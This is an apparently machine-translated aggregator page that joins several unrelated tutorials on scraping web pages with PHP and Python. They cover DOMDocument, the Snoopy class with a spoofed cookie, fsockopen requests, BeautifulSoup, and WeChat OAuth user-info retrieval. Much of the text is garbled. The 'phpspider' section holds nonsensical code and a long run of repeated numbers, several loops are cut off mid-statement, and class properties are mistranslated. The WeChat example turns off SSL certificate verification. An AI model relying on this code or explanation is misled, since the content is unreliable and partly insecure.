
php抓取網(wǎng)頁(yè)指定內容
php抓取網(wǎng)頁(yè)指定內容(我已經(jīng)使用PHP和cURL構建了一個(gè)簡(jiǎn)單的抓取工具)
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 53 次瀏覽 ? 2022-01-19 22:00
我已經(jīng)使用 PHP 和 cURL 構建了一個(gè)簡(jiǎn)單的網(wǎng)絡(luò )抓取工具,并通過(guò) ID 抓取或通過(guò)所需元素上不存在 ID 的標簽名稱(chēng)來(lái)抓取頁(yè)面的一些元素,使用如下代碼:
$dom = new DOMDocument();
@$dom->loadHTML($response);
$table = $dom->getElementsByTagName('table')->item(4);
$response = $dom->saveXML($table);
現在我陷入了兩難境地,我需要更進(jìn)一步,找到某個(gè)字符串或正則表達式模式的文本的父元素,因為我需要從中采集數據的站點(diǎn)沒(méi)有任何 ID 或類(lèi)我還需要從中提取數據的 HTML 元素 各種頁(yè)面可能以不同的方式組織數據,所以我不能總是依賴(lài)表中的數據#。在我離開(kāi)這個(gè) 網(wǎng)站 之后獲取數據的唯一可靠方法是通過(guò)文本格式查找它,它始終是一個(gè)以“1”開(kāi)頭的數字列表。他們不使用有序列表,否則會(huì )簡(jiǎn)單得多。這只是一個(gè)簡(jiǎn)單的表格單元格,其數字線(xiàn)由簡(jiǎn)單的
分開(kāi)。所以我想如果我能找到“1”,它的父元素就是表格單元格,找到它之后,我需要提取它的內容,可能還有表格行中任何其他相鄰表格單元格的內容。在頁(yè)面或 HTML 代碼中找不到“1.”的其他實(shí)例,所以這種方法似乎是合理的,如果不是有點(diǎn)冒險的話(huà),但我離題了。那么,處理這樣的事情的最佳方法是什么? 查看全部
php抓取網(wǎng)頁(yè)指定內容(我已經(jīng)使用PHP和cURL構建了一個(gè)簡(jiǎn)單的抓取工具)
我已經(jīng)使用 PHP 和 cURL 構建了一個(gè)簡(jiǎn)單的網(wǎng)絡(luò )抓取工具,并通過(guò) ID 抓取或通過(guò)所需元素上不存在 ID 的標簽名稱(chēng)來(lái)抓取頁(yè)面的一些元素,使用如下代碼:
$dom = new DOMDocument();
@$dom->loadHTML($response);
$table = $dom->getElementsByTagName('table')->item(4);
$response = $dom->saveXML($table);
現在我陷入了兩難境地,我需要更進(jìn)一步,找到某個(gè)字符串或正則表達式模式的文本的父元素,因為我需要從中采集數據的站點(diǎn)沒(méi)有任何 ID 或類(lèi)我還需要從中提取數據的 HTML 元素 各種頁(yè)面可能以不同的方式組織數據,所以我不能總是依賴(lài)表中的數據#。在我離開(kāi)這個(gè) 網(wǎng)站 之后獲取數據的唯一可靠方法是通過(guò)文本格式查找它,它始終是一個(gè)以“1”開(kāi)頭的數字列表。他們不使用有序列表,否則會(huì )簡(jiǎn)單得多。這只是一個(gè)簡(jiǎn)單的表格單元格,其數字線(xiàn)由簡(jiǎn)單的
分開(kāi)。所以我想如果我能找到“1”,它的父元素就是表格單元格,找到它之后,我需要提取它的內容,可能還有表格行中任何其他相鄰表格單元格的內容。在頁(yè)面或 HTML 代碼中找不到“1.”的其他實(shí)例,所以這種方法似乎是合理的,如果不是有點(diǎn)冒險的話(huà),但我離題了。那么,處理這樣的事情的最佳方法是什么?
php抓取網(wǎng)頁(yè)指定內容(php抓取網(wǎng)頁(yè)指定內容,可以爬取的數據范圍比較廣)
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 47 次瀏覽 ? 2022-01-15 06:04
php抓取網(wǎng)頁(yè)指定內容,可以爬取的數據范圍比較廣,我這里就以phpspider為例進(jìn)行講解。首先,你需要理解一下phpspider是什么。phpspider抓取網(wǎng)頁(yè)內容首先,我們要知道phpspider是什么。phpspider抓取網(wǎng)頁(yè)內容是通過(guò)程序抓取所有的網(wǎng)頁(yè)內容,并且可以保存到一個(gè)數據庫中,然后通過(guò)數據庫進(jìn)行分析。
phpspider抓取所有網(wǎng)頁(yè)內容可以采用下面的步驟實(shí)現。具體代碼可以參考這篇文章。phpspider抓取網(wǎng)頁(yè)內容代碼截圖如下,部分不是特別清晰,可以看下方的截圖整體代碼如下://定義一個(gè)phpspider//url,去尋找合適的網(wǎng)頁(yè),這里選擇了百度和//定義一個(gè)item對象$item=get_url('');$url=$item->get('/');//參數id,參數id,參數set_text('','關(guān)于我們');$text='';//參數name,參數name,參數set_text('','','我們可以通過(guò)一個(gè)或多個(gè)id去抓取該網(wǎng)頁(yè)//text="',text,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,96,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,128,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,168,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,180,181,182,183,184,185,186,187,188,189,180,183,184,186,187,188,189,181,184,187,188,189,184,188,188,189,186,189,187,188,189,188,189,180,184,185,186,187,188,189,188,189,186,189,188,189,187,189,186,189,188,189。 查看全部
php抓取網(wǎng)頁(yè)指定內容(php抓取網(wǎng)頁(yè)指定內容,可以爬取的數據范圍比較廣)
php抓取網(wǎng)頁(yè)指定內容,可以爬取的數據范圍比較廣,我這里就以phpspider為例進(jìn)行講解。首先,你需要理解一下phpspider是什么。phpspider抓取網(wǎng)頁(yè)內容首先,我們要知道phpspider是什么。phpspider抓取網(wǎng)頁(yè)內容是通過(guò)程序抓取所有的網(wǎng)頁(yè)內容,并且可以保存到一個(gè)數據庫中,然后通過(guò)數據庫進(jìn)行分析。
phpspider抓取所有網(wǎng)頁(yè)內容可以采用下面的步驟實(shí)現。具體代碼可以參考這篇文章。phpspider抓取網(wǎng)頁(yè)內容代碼截圖如下,部分不是特別清晰,可以看下方的截圖整體代碼如下://定義一個(gè)phpspider//url,去尋找合適的網(wǎng)頁(yè),這里選擇了百度和//定義一個(gè)item對象$item=get_url('');$url=$item->get('/');//參數id,參數id,參數set_text('','關(guān)于我們');$text='';//參數name,參數name,參數set_text('','','我們可以通過(guò)一個(gè)或多個(gè)id去抓取該網(wǎng)頁(yè)//text="',text,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,96,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,128,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,168,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,180,181,182,183,184,185,186,187,188,189,180,183,184,186,187,188,189,181,184,187,188,189,184,188,188,189,186,189,187,188,189,188,189,180,184,185,186,187,188,189,188,189,186,189,188,189,187,189,186,189,188,189。
php抓取網(wǎng)頁(yè)指定內容(php.ini中的max_execution設置設置的大點(diǎn)軟件)
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 55 次瀏覽 ? 2022-01-11 19:12
在做爬取之前,記得把php.ini中的max_execution_time設置大一點(diǎn),否則會(huì )報錯。
一、 使用 Snoopy.class.php 抓取頁(yè)面
一個(gè)很可愛(ài)的班級名字。功能也很強大,用來(lái)模擬瀏覽器的功能,可以獲取網(wǎng)頁(yè)內容,發(fā)送表單等。
1)我要抓取網(wǎng)站的一個(gè)列表頁(yè)的內容,我要抓取的是全國醫院信息內容,如下圖:
2)我自然是復制了URL地址,用Snoopy類(lèi)抓取前10頁(yè)的內容,并將內容放到本地,在本地創(chuàng )建了一個(gè)html文件,用于后面的分析。
$snoopy=new Snoopy();
//醫院list頁(yè)面
for($i = 1; $i fetch($url);
file_put_contents("web/page/$i.html", $snoopy->results);
}
echo \'success\';
3)很奇怪,返回的內容不是國家內容,而是上海的相關(guān)內容
4) 后來(lái)懷疑里面可能設置了一個(gè)cookie,然后用firebug查了一下,有一個(gè)驚人的內幕
5)請求中也放入了cookie的值,加上了一個(gè)設置語(yǔ)句$snoopy->cookies["_area_"],情況就大不一樣了,順利返回全國信息。
$snoopy=new Snoopy();
//醫院list頁(yè)面
$snoopy->cookies["_area_"] = \'{"provinceId":"all","provinceName":"全國","cityId":"all","cityName":"不限??"}\';
for($i = 1; $i results;
}
2)使用phpQuery獲取節點(diǎn)信息,如下圖DOM結構:
使用一些phpQuery方法,結合DOM結構讀取各個(gè)醫院信息的URL地址。
for($i = 1; $i attr(\'href\')); //醫院詳情
}
}
3)根據讀取的URL地址列表,抓取指定頁(yè)面。
$detailIndex = 1;
for($i = 1; $i results);
$detailIndex++;
}
}
FQ工具下載:
克服障礙.rar
演示下載:
關(guān)于 Snoopy 類(lèi)的一些注意事項:
類(lèi)方法
獲?。?URI)
這是用于抓取網(wǎng)頁(yè)內容的方法。
$URI 參數是被抓取網(wǎng)頁(yè)的 URL 地址。
獲取的結果存儲在 $this->results 中。
如果你正在抓取一個(gè)幀,Snoopy 會(huì )將每個(gè)幀跟蹤到一個(gè)數組中,然后是 $this->results。
獲取文本($URI)
該方法與 fetch() 方法類(lèi)似,唯一不同的是該方法會(huì )去除 HTML 標簽等無(wú)關(guān)數據,只返回網(wǎng)頁(yè)中的文本內容。
獲取表單($URI)
該方法與fetch()類(lèi)似,唯一不同的是該方法會(huì )去除HTML標簽等無(wú)關(guān)數據,只返回網(wǎng)頁(yè)中的表單內容(form)。
獲取鏈接($URI)
該方法與 fetch() 方法類(lèi)似,唯一不同的是該方法會(huì )去除 HTML 標簽等無(wú)關(guān)數據,只返回網(wǎng)頁(yè)中的鏈接。
默認情況下,相對鏈接將自動(dòng)完成為完整的 URL。
提交($URI,$formvars)
此方法向 $URL 指定的鏈接地址發(fā)送確認表單。$formvars 是一個(gè)存儲表單參數的數組。
提交文本($URI,$formvars)
這個(gè)方法和submit()類(lèi)似,唯一的區別是這個(gè)方法會(huì )去掉HTML標簽等不相關(guān)的數據,登錄后只返回網(wǎng)頁(yè)的文本內容。
提交鏈接($URI)
這個(gè)方法和submit()類(lèi)似,唯一的區別是這個(gè)方法會(huì )去掉HTML標簽等不相關(guān)的數據,只返回網(wǎng)頁(yè)中的鏈接。
默認情況下,相對鏈接將自動(dòng)完成為完整的 URL。
類(lèi)屬性
$主機
連接主機
$端口
連接端口
$proxy_host
使用的代理主機(如果有)
$proxy_port
要使用的代理主機端口(如果有)
$代理
用戶(hù)代理偽裝(史努比 v0.1)
$推薦人
到達信息,如果有的話(huà)
$cookies
餅干,如果有的話(huà)
$原創(chuàng )頭文件
其他標題信息(如果有)
$maxredirs
最大重定向數,0 = 不允許 (5)
$offsiteok
是否允許異地重定向。(真的)
$展開(kāi)鏈接
是否完成鏈接到完整地址(true)
$用戶(hù)
身份驗證用戶(hù)名(如果有)
$通行證
身份驗證用戶(hù)名(如果有)
$接受
http 接受類(lèi)型(image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*)
$錯誤
錯誤在哪里,如果有的話(huà)
$response_code
服務(wù)器返回的響應碼
$標頭
從服務(wù)器返回的標頭
$最大長(cháng)度
最大返回數據長(cháng)度
$read_timeout
讀取操作超時(shí)(需要 PHP 4 Beta 4+),設置為 0 表示無(wú)超時(shí)
$timed_out
如果讀取操作超時(shí),此屬性返回 true(需要 PHP 4 Beta 4+)
$最大幀數
允許跟蹤的最大幀數
$狀態(tài) 查看全部
php抓取網(wǎng)頁(yè)指定內容(php.ini中的max_execution設置設置的大點(diǎn)軟件)
在做爬取之前,記得把php.ini中的max_execution_time設置大一點(diǎn),否則會(huì )報錯。
一、 使用 Snoopy.class.php 抓取頁(yè)面
一個(gè)很可愛(ài)的班級名字。功能也很強大,用來(lái)模擬瀏覽器的功能,可以獲取網(wǎng)頁(yè)內容,發(fā)送表單等。
1)我要抓取網(wǎng)站的一個(gè)列表頁(yè)的內容,我要抓取的是全國醫院信息內容,如下圖:
2)我自然是復制了URL地址,用Snoopy類(lèi)抓取前10頁(yè)的內容,并將內容放到本地,在本地創(chuàng )建了一個(gè)html文件,用于后面的分析。
$snoopy=new Snoopy();
//醫院list頁(yè)面
for($i = 1; $i fetch($url);
file_put_contents("web/page/$i.html", $snoopy->results);
}
echo \'success\';
3)很奇怪,返回的內容不是國家內容,而是上海的相關(guān)內容
4) 后來(lái)懷疑里面可能設置了一個(gè)cookie,然后用firebug查了一下,有一個(gè)驚人的內幕
5)請求中也放入了cookie的值,加上了一個(gè)設置語(yǔ)句$snoopy->cookies["_area_"],情況就大不一樣了,順利返回全國信息。
$snoopy=new Snoopy();
//醫院list頁(yè)面
$snoopy->cookies["_area_"] = \'{"provinceId":"all","provinceName":"全國","cityId":"all","cityName":"不限??"}\';
for($i = 1; $i results;
}
2)使用phpQuery獲取節點(diǎn)信息,如下圖DOM結構:
使用一些phpQuery方法,結合DOM結構讀取各個(gè)醫院信息的URL地址。
for($i = 1; $i attr(\'href\')); //醫院詳情
}
}
3)根據讀取的URL地址列表,抓取指定頁(yè)面。
$detailIndex = 1;
for($i = 1; $i results);
$detailIndex++;
}
}
FQ工具下載:
克服障礙.rar
演示下載:
關(guān)于 Snoopy 類(lèi)的一些注意事項:
類(lèi)方法
獲?。?URI)
這是用于抓取網(wǎng)頁(yè)內容的方法。
$URI 參數是被抓取網(wǎng)頁(yè)的 URL 地址。
獲取的結果存儲在 $this->results 中。
如果你正在抓取一個(gè)幀,Snoopy 會(huì )將每個(gè)幀跟蹤到一個(gè)數組中,然后是 $this->results。
獲取文本($URI)
該方法與 fetch() 方法類(lèi)似,唯一不同的是該方法會(huì )去除 HTML 標簽等無(wú)關(guān)數據,只返回網(wǎng)頁(yè)中的文本內容。
獲取表單($URI)
該方法與fetch()類(lèi)似,唯一不同的是該方法會(huì )去除HTML標簽等無(wú)關(guān)數據,只返回網(wǎng)頁(yè)中的表單內容(form)。
獲取鏈接($URI)
該方法與 fetch() 方法類(lèi)似,唯一不同的是該方法會(huì )去除 HTML 標簽等無(wú)關(guān)數據,只返回網(wǎng)頁(yè)中的鏈接。
默認情況下,相對鏈接將自動(dòng)完成為完整的 URL。
提交($URI,$formvars)
此方法向 $URL 指定的鏈接地址發(fā)送確認表單。$formvars 是一個(gè)存儲表單參數的數組。
提交文本($URI,$formvars)
這個(gè)方法和submit()類(lèi)似,唯一的區別是這個(gè)方法會(huì )去掉HTML標簽等不相關(guān)的數據,登錄后只返回網(wǎng)頁(yè)的文本內容。
提交鏈接($URI)
這個(gè)方法和submit()類(lèi)似,唯一的區別是這個(gè)方法會(huì )去掉HTML標簽等不相關(guān)的數據,只返回網(wǎng)頁(yè)中的鏈接。
默認情況下,相對鏈接將自動(dòng)完成為完整的 URL。
類(lèi)屬性
$主機
連接主機
$端口
連接端口
$proxy_host
使用的代理主機(如果有)
$proxy_port
要使用的代理主機端口(如果有)
$代理
用戶(hù)代理偽裝(史努比 v0.1)
$推薦人
到達信息,如果有的話(huà)
$cookies
餅干,如果有的話(huà)
$原創(chuàng )頭文件
其他標題信息(如果有)
$maxredirs
最大重定向數,0 = 不允許 (5)
$offsiteok
是否允許異地重定向。(真的)
$展開(kāi)鏈接
是否完成鏈接到完整地址(true)
$用戶(hù)
身份驗證用戶(hù)名(如果有)
$通行證
身份驗證用戶(hù)名(如果有)
$接受
http 接受類(lèi)型(image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*)
$錯誤
錯誤在哪里,如果有的話(huà)
$response_code
服務(wù)器返回的響應碼
$標頭
從服務(wù)器返回的標頭
$最大長(cháng)度
最大返回數據長(cháng)度
$read_timeout
讀取操作超時(shí)(需要 PHP 4 Beta 4+),設置為 0 表示無(wú)超時(shí)
$timed_out
如果讀取操作超時(shí),此屬性返回 true(需要 PHP 4 Beta 4+)
$最大幀數
允許跟蹤的最大幀數
$狀態(tài)
php抓取網(wǎng)頁(yè)指定內容( php使用fsockopen函數發(fā)送post,get請求獲取網(wǎng)頁(yè)內容的方法)
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 48 次瀏覽 ? 2022-01-11 19:11
php使用fsockopen函數發(fā)送post,get請求獲取網(wǎng)頁(yè)內容的方法)
PHP使用fsockopen函數發(fā)送post、get請求獲取網(wǎng)頁(yè)內容的實(shí)現方法
人氣:121 時(shí)間:2021-02-25
這篇文章主要詳細介紹了php使用fsockopen函數發(fā)送post、get請求獲取網(wǎng)頁(yè)內容的實(shí)現方法,具有一定的參考價(jià)值,可以參考。
感興趣的朋友,就跟著(zhù)512筆記的小玲一起來(lái)看看吧!
本文的例子描述了php如何使用fsockopen函數發(fā)送post和get請求來(lái)獲取網(wǎng)頁(yè)內容。分享給大家,供大家參考。
具體實(shí)現代碼如下:
代碼顯示如下:
$post =1;
$url = parse_url($url);
$host ='https://www.512pic.com';
$path ='/';
$query ='?action=phpfensi.com';
$port =80;
?
if($post) {
? $out = "post $path http/1.0 ";
? $out .= "accept: */* ";
? //$out .= "referer: $boardurl ";
? $out .= "accept-language: zh-cn ";
? $out .= "content-type: application/x-www-form-urlencoded ";
? $out .= "user-agent: $_server[http_user_agent] ";
? $out .= "host: $host ";
? $out .= 'content-length: '.strlen($post)." ";
? $out .= "connection: close ";
? $out .= "cache-control: no-cache ";
? $out .= "cookie: $cookie ";
? $out .= $post;
?} else {
? $out = "get $path http/1.0 ";
? $out .= "accept: */* ";
? //$out .= "referer: $boardurl ";
? $out .= "accept-language: zh-cn ";
? $out .= "user-agent: $_server[http_user_agent] ";
? $out .= "host: $host ";
? $out .= "connection: close ";
? $out .= "cookie: $cookie ";
?}
?$fp = @fsockopen(($ip ? $ip : $host), $port, $errno, $errstr, $timeout);
?if(!$fp)?
?{
? return '';//note $errstr : $errno?
?} else {
? return '成功訪(fǎng)問(wèn)';
?}
fsockopen 語(yǔ)法:
代碼顯示如下:
resource fsockopen(string $hostname [,int $port = -1 [, int &$errno [,string &$errstr [, float $timeout = ini_get("default_socket_timeout") ]]]] )
向指定主機上的資源發(fā)起套接字連接,php 支持 internet 領(lǐng)域中的目標,而 unix 在支持的套接字傳輸列表中指定,支持的傳輸列表也可以使用 stream_get_transports() 檢索。
默認情況下會(huì )啟用套接字,阻塞模式,您可以切換到非阻塞模式并使用stream_set_blocking()。
代碼顯示如下:
$fp = fsockopen("www.512pic.com", 80, $errno, $errstr, 30);
?if (!$fp) {
? echo "$errstr ($errno) ";
?} else {
? $out = "get / http/1.1 ";
? $out .= "host: www.512pic.com";
? $out .= "connection: close ";
? fwrite($fp, $out);
? while (!feof($fp)) {
?? echo fgets($fp, 128);
? }
? fclose($fp);
?}
我希望這篇文章對你的 PHP 編程有所幫助。
本文來(lái)自:
注:這里先介紹php使用fsockopen函數發(fā)送post和get請求獲取網(wǎng)頁(yè)內容的實(shí)現方法的內容。更多相關(guān)文章,可以關(guān)注512筆記的其他信息。
關(guān)鍵詞: 查看全部
php抓取網(wǎng)頁(yè)指定內容(
php使用fsockopen函數發(fā)送post,get請求獲取網(wǎng)頁(yè)內容的方法)
PHP使用fsockopen函數發(fā)送post、get請求獲取網(wǎng)頁(yè)內容的實(shí)現方法
人氣:121 時(shí)間:2021-02-25
這篇文章主要詳細介紹了php使用fsockopen函數發(fā)送post、get請求獲取網(wǎng)頁(yè)內容的實(shí)現方法,具有一定的參考價(jià)值,可以參考。
感興趣的朋友,就跟著(zhù)512筆記的小玲一起來(lái)看看吧!
本文的例子描述了php如何使用fsockopen函數發(fā)送post和get請求來(lái)獲取網(wǎng)頁(yè)內容。分享給大家,供大家參考。
具體實(shí)現代碼如下:
代碼顯示如下:
$post =1;
$url = parse_url($url);
$host ='https://www.512pic.com';
$path ='/';
$query ='?action=phpfensi.com';
$port =80;
?
if($post) {
? $out = "post $path http/1.0 ";
? $out .= "accept: */* ";
? //$out .= "referer: $boardurl ";
? $out .= "accept-language: zh-cn ";
? $out .= "content-type: application/x-www-form-urlencoded ";
? $out .= "user-agent: $_server[http_user_agent] ";
? $out .= "host: $host ";
? $out .= 'content-length: '.strlen($post)." ";
? $out .= "connection: close ";
? $out .= "cache-control: no-cache ";
? $out .= "cookie: $cookie ";
? $out .= $post;
?} else {
? $out = "get $path http/1.0 ";
? $out .= "accept: */* ";
? //$out .= "referer: $boardurl ";
? $out .= "accept-language: zh-cn ";
? $out .= "user-agent: $_server[http_user_agent] ";
? $out .= "host: $host ";
? $out .= "connection: close ";
? $out .= "cookie: $cookie ";
?}
?$fp = @fsockopen(($ip ? $ip : $host), $port, $errno, $errstr, $timeout);
?if(!$fp)?
?{
? return '';//note $errstr : $errno?
?} else {
? return '成功訪(fǎng)問(wèn)';
?}
fsockopen 語(yǔ)法:
代碼顯示如下:
resource fsockopen(string $hostname [,int $port = -1 [, int &$errno [,string &$errstr [, float $timeout = ini_get("default_socket_timeout") ]]]] )
向指定主機上的資源發(fā)起套接字連接,php 支持 internet 領(lǐng)域中的目標,而 unix 在支持的套接字傳輸列表中指定,支持的傳輸列表也可以使用 stream_get_transports() 檢索。
默認情況下會(huì )啟用套接字,阻塞模式,您可以切換到非阻塞模式并使用stream_set_blocking()。
代碼顯示如下:
$fp = fsockopen("www.512pic.com", 80, $errno, $errstr, 30);
?if (!$fp) {
? echo "$errstr ($errno) ";
?} else {
? $out = "get / http/1.1 ";
? $out .= "host: www.512pic.com";
? $out .= "connection: close ";
? fwrite($fp, $out);
? while (!feof($fp)) {
?? echo fgets($fp, 128);
? }
? fclose($fp);
?}
我希望這篇文章對你的 PHP 編程有所幫助。
本文來(lái)自:
注:這里先介紹php使用fsockopen函數發(fā)送post和get請求獲取網(wǎng)頁(yè)內容的實(shí)現方法的內容。更多相關(guān)文章,可以關(guān)注512筆記的其他信息。
關(guān)鍵詞:
php抓取網(wǎng)頁(yè)指定內容(Python使用BeautifulSoup模塊解析html網(wǎng)頁(yè)的相關(guān)技巧實(shí)例)
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 65 次瀏覽 ? 2022-01-09 08:20
本文章主要介紹python基于BeautifulSoup抓取網(wǎng)頁(yè)指定內容的方法,涉及到Python使用BeautifulSoup模塊解析HTML網(wǎng)頁(yè)的相關(guān)技巧。具有一定的參考價(jià)值。有需要的朋友可以參考以下
本文中的例子描述了python基于BeautifulSoup爬取網(wǎng)頁(yè)指定內容的方法。分享給大家,供大家參考。具體實(shí)現方法如下:
# _*_ coding:utf-8 _*_ #xiaohei.python.seo.call.me:) #win+python2.7.x import urllib2 from bs4 import Bea<a style="color:transparent">來(lái)源gao([email?protected]/* */@#碼(網(wǎng)</a>utifulSoup def jd(url): page = urllib2.urlopen(url) html_doc = page.read() soup = BeautifulSoup(html_doc.decode('gb2312','ignore')) for i in soup.find_all('div', id="sortlist"): one = i.find_all('a') two = i.find_all('li') print ("%s %s" % (one,two)) jd("http://channel.jd.com/computer.html")
希望本文對您的 Python 編程有所幫助。
以上是python基于BeautifulSoup爬取網(wǎng)頁(yè)指定內容的方法的詳細內容。更多內容請關(guān)注高代碼碼網(wǎng)其他相關(guān)話(huà)題文章! 查看全部
php抓取網(wǎng)頁(yè)指定內容(Python使用BeautifulSoup模塊解析html網(wǎng)頁(yè)的相關(guān)技巧實(shí)例)
本文章主要介紹python基于BeautifulSoup抓取網(wǎng)頁(yè)指定內容的方法,涉及到Python使用BeautifulSoup模塊解析HTML網(wǎng)頁(yè)的相關(guān)技巧。具有一定的參考價(jià)值。有需要的朋友可以參考以下
本文中的例子描述了python基于BeautifulSoup爬取網(wǎng)頁(yè)指定內容的方法。分享給大家,供大家參考。具體實(shí)現方法如下:
# _*_ coding:utf-8 _*_ #xiaohei.python.seo.call.me:) #win+python2.7.x import urllib2 from bs4 import Bea<a style="color:transparent">來(lái)源gao([email?protected]/* */@#碼(網(wǎng)</a>utifulSoup def jd(url): page = urllib2.urlopen(url) html_doc = page.read() soup = BeautifulSoup(html_doc.decode('gb2312','ignore')) for i in soup.find_all('div', id="sortlist"): one = i.find_all('a') two = i.find_all('li') print ("%s %s" % (one,two)) jd("http://channel.jd.com/computer.html")
希望本文對您的 Python 編程有所幫助。
以上是python基于BeautifulSoup爬取網(wǎng)頁(yè)指定內容的方法的詳細內容。更多內容請關(guān)注高代碼碼網(wǎng)其他相關(guān)話(huà)題文章!
php抓取網(wǎng)頁(yè)指定內容(tp3請求接口獲取code拉起授權的流程及流程)
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 53 次瀏覽 ? 2022-01-05 05:08
一、準備工具
服務(wù)賬號(訂閱賬號無(wú)法獲取網(wǎng)頁(yè)授權用戶(hù)信息)、域名、服務(wù)器
二、配置公眾號
1、獲取開(kāi)發(fā)者ID和開(kāi)發(fā)者密碼:
2、設置網(wǎng)頁(yè)的授權域名:
業(yè)務(wù)域名和js接口安全域名,不需要配置,只需要配置網(wǎng)頁(yè)的授權域名即可!
3、配置證書(shū),將下載的證書(shū)放在域名根目錄下。
如果瀏覽器可以訪(fǎng)問(wèn)文件,則配置成功:
三、代碼實(shí)現
博主使用tp3框架
流程一:訪(fǎng)問(wèn)該方法,拉起web授權界面,如果同意則帶上參數跳轉到回調地址
myurl是我隨意設置的回調地址,這個(gè)地址不需要在公眾號指定! ! !
public function webpage_authorization()
{
$appid="微信公眾號上獲取"; //AppID
$key="微信公眾號上獲取"; //AppSecret
$myurl=urlencode("http://baidu.com/index/redirect_url"); //回調域名
$wxurl='https://open.weixin.qq.com/connect/oauth2/authorize?appid='.$appid.'&redirect_uri='.$myurl.'&response_type=code&scope=snsapi_userinfo&state=0#wechat_redirect';
header('Location:'.$wxurl);
}
流程二:從回調地址獲取code,獲取code后請求接口獲取access_token和openid,獲取openid后請求接口獲取用戶(hù)信息:
public function redirect_url(){
$appid="微信公眾號上獲取"; //AppID
$key="微信公眾號上獲取"; //AppSecret
$code = $_GET['code'];
if ($code) {
$url = "https://api.weixin.qq.com/sns/ ... id%3D$appid&secret=$key&code=$code&grant_type=authorization_code";
$s = file_get_contents($url);
$s = json_decode($s, true);
}
$access_token = $s["access_token"];
$openid = $s['openid'];
//第二步:根據全局access_token和openid查詢(xún)用戶(hù)信息
$get_user_info_url = "https://api.weixin.qq.com/sns/ ... t%3B.$access_token."&openid=".$openid."&lang=zh_CN";
$userinfo = $this->http_curl($get_user_info_url); // 獲取用戶(hù)信息
print_r($user_info);
}
public function http_curl($url){
//用curl傳參
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
//關(guān)閉ssl驗證
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch,CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
return json_decode($output, true);
}
最后打印的用戶(hù)信息:
四、礦坑總結:一號坑:
請求第一個(gè)接口獲取啟動(dòng)授權碼時(shí)報錯:redirect_uri域名與后臺配置不一致,錯誤碼為10003!但是公眾號配置沒(méi)問(wèn)題,所以在第一步請求接口獲取code時(shí),在回調地址參數中添加urlencode(回調地址)!
坑二:
在公眾號設置中,只需要配置網(wǎng)頁(yè)的授權域名,配置的域名不需要添加http!并且回調地址是自己在代碼中設置的,無(wú)需在公眾號中配置! ! !
坑三:
如果只是單純在h5網(wǎng)頁(yè)上獲取授權用戶(hù)的信息,不需要啟動(dòng)服務(wù)器配置! ! !
五、微信開(kāi)發(fā)文檔
鏈接:. 查看全部
php抓取網(wǎng)頁(yè)指定內容(tp3請求接口獲取code拉起授權的流程及流程)
一、準備工具
服務(wù)賬號(訂閱賬號無(wú)法獲取網(wǎng)頁(yè)授權用戶(hù)信息)、域名、服務(wù)器
二、配置公眾號
1、獲取開(kāi)發(fā)者ID和開(kāi)發(fā)者密碼:


2、設置網(wǎng)頁(yè)的授權域名:
業(yè)務(wù)域名和js接口安全域名,不需要配置,只需要配置網(wǎng)頁(yè)的授權域名即可!


3、配置證書(shū),將下載的證書(shū)放在域名根目錄下。

如果瀏覽器可以訪(fǎng)問(wèn)文件,則配置成功:


三、代碼實(shí)現
博主使用tp3框架
流程一:訪(fǎng)問(wèn)該方法,拉起web授權界面,如果同意則帶上參數跳轉到回調地址
myurl是我隨意設置的回調地址,這個(gè)地址不需要在公眾號指定! ! !
public function webpage_authorization()
{
$appid="微信公眾號上獲取"; //AppID
$key="微信公眾號上獲取"; //AppSecret
$myurl=urlencode("http://baidu.com/index/redirect_url"); //回調域名
$wxurl='https://open.weixin.qq.com/connect/oauth2/authorize?appid='.$appid.'&redirect_uri='.$myurl.'&response_type=code&scope=snsapi_userinfo&state=0#wechat_redirect';
header('Location:'.$wxurl);
}

流程二:從回調地址獲取code,獲取code后請求接口獲取access_token和openid,獲取openid后請求接口獲取用戶(hù)信息:
public function redirect_url(){
$appid="微信公眾號上獲取"; //AppID
$key="微信公眾號上獲取"; //AppSecret
$code = $_GET['code'];
if ($code) {
